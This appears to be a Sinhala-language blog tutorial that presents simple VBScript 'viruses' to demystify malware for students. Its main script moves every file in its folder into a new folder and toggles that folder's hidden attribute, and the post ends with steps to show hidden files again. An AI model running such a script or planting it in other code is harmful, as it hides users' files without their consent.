පරිගණක වෛරස් ලියන්නේ මෙහෙමයි

වසර ගණනාවක් පුරා විවිද වයස්මට්ටම් වල ළමුන්ට තොරතුරු තාක්‍ෂණය පිළිබඳව ඉගැන්වීම් කටයුතු සිදුකරන මා අවබෝධකරගත් එක් කරුණක් වන්නේ ඔවුන් පරිගණක වෛරස ලිවීම හා හැක් කිරීම පිළිබඳව මහත් උනන්දුවක් දක්වන බවයි. මෙයට හේතුව වියහැක්කේ පරිගණක වෛරස ලිවීම හා අනුන්ගේ තොරතුරු සොරාගැනීම මහා වීර ක‍්‍රියාවක් ලෙස සමාජගතව තිබීමයි.

වෛරස් ලියන්නන් මහා වීරයන් නොවන බවත් එය කුඩා දරුවෙකුට වුවත් කළහැකි සරල ක‍්‍රියාවක් බවත් පෙන්විම සඳහා මෙම ලිපිය ඉදිරිපත් කිරීමට අදහස් කළෙමි.

ඩොස් හා වින්ඩෝස් මෙහෙයුම් පද්ධති මත වෛරස් ලියන්න batchfile භාවිතා කිරීමේ හැකියාව තිබුනත් වින්ඩෝස් රූප මාධ්‍යක අතුරුමුහුණත් තුළ වෛරස් ලියන්න හොඳම ක‍්‍රමය තමයි Windows Script Host (WSH) මත VBScript එකක් ලියන එක.

මේක හරිම ලේසි වැඩක් කරන්න තියෙන්නේ මෙච්චරයි. Notepad එක විවෘත්ත කරල අදාල VBScript එක ටයිප් කරන්න එකට කැමති නමක් දීල File extension එක vbs දීල කැමති තැනක ගබඩා කරගන්න. ඊට පස්සේ ෆයිල් එක උඩ Double click කරන්න.

වෛරස් ලියන්න කලින් පහත සරල VBScript එක අත්හදා බලමු.

WScript.Echo "You are Fool"
WScript.Quit

(ඉහත code කොටස Notepad එකට පිටපත් කර fool.vbs නමින් Desktop එකේ Save කර නිර්මාණය වුනු file එක උඩ ඩබල් ක්ලික් කරන්න)

මෙහෙයුම් පද්ධතියට අදාල බොහෝ කාර්යයන් පහසුවෙන් කරගන් පුලූවන් නිසා පරිගණක ක‍්‍රමලේඛනයේ දී Administration tool එකක් වශයෙන් Windows Script Host භාවිතයට ගැනෙනවා. කෙසේ නමුත් වෛරස් ලියන්නන්ට මෙම පහසුකම තොතැන්නක් බවට පත්වී තිබෙනවා.

අපිත් ලියමු වෛරස්

පහත කේත කොටස මගින් ස්වයංකී‍්‍රයව File එක ගබඩා කර ඇති ස්ථානයේ fool නමින් Folder එකක් නිර්මාණය වේ.

dim filesys, newfolder, newfolderpath

set filesys=CreateObject("Scripting.FileSystemObject")

newfolderpath = filesys.GetAbsolutePathName(".")
newfolderpath = newfolderpath + "\fool"

If Not filesys.FolderExists(newfolderpath) Then
Set newfolder = filesys.CreateFolder(newfolderpath)
WScript.Echo("A new folder has been created at: " + newfolderpath)
else
WScript.Echo("Folder alrady exist")
End If 

(ඉහත code කොටස Notepad එකට පිටපත් කර foolfolder.vbs නමින් Desktop එකේ Save කර නිර්මාණය වුනු file එක උඩ ඩබල් ක්ලික් කරන්න)

fool folder එකට සියලූම file move කර එය hidden කිරීම සඳහා පහත කේතය අත්හදා බලන්න. 

dim filesys, newfolder, newfolderpath, curfolder, SourceFile

set filesys=CreateObject("Scripting.FileSystemObject")

curfolder = filesys.GetAbsolutePathName(".")
newfolderpath = curfolder + "\fool"

If Not filesys.FolderExists(newfolderpath) Then
Set newfolder = filesys.CreateFolder(newfolderpath)
End If 

SourceFile = curfolder + "\*.*"

filesys.MoveFile SourceFile, newfolderpath

If newfolder.Attributes = newfolder.Attributes AND 2 Then
newfolder.Attributes = newfolder.Attributes XOR 2 
End If

(ඉහත code කොටස Notepad එකට පිටපත් කර foolmove.vbs නමින් Desktop එකේ Save කර නිර්මාණය වුනු file එක උඩ ඩබල් ක්ලික් කරන්න)

බොහොමයක් USB Drivers සඳහා සැකසුනු වෛරස හදන්නේ මේ ක‍්‍රමයෙන්.

අවසන් වශයෙන් මේ දැණුම යහපත් දෙයකට යොදවනු ඇතැයි අපේක්‍ෂා කරමි.

---

ඉහත වැඩසටහණ අත්හදා බලපු අය ෆයිල් නැවත ලබාගැනීම සඳහා පහත පියවර අනුගමනය කරන්න. 

1. Open Folder Options by clicking the Start button , clicking Control Panel, clicking Appearance and Personalization, and then clicking Folder Options.

2. Click the View tab.

3.Under Advanced settings, click Show hidden files and folders, and then click OK.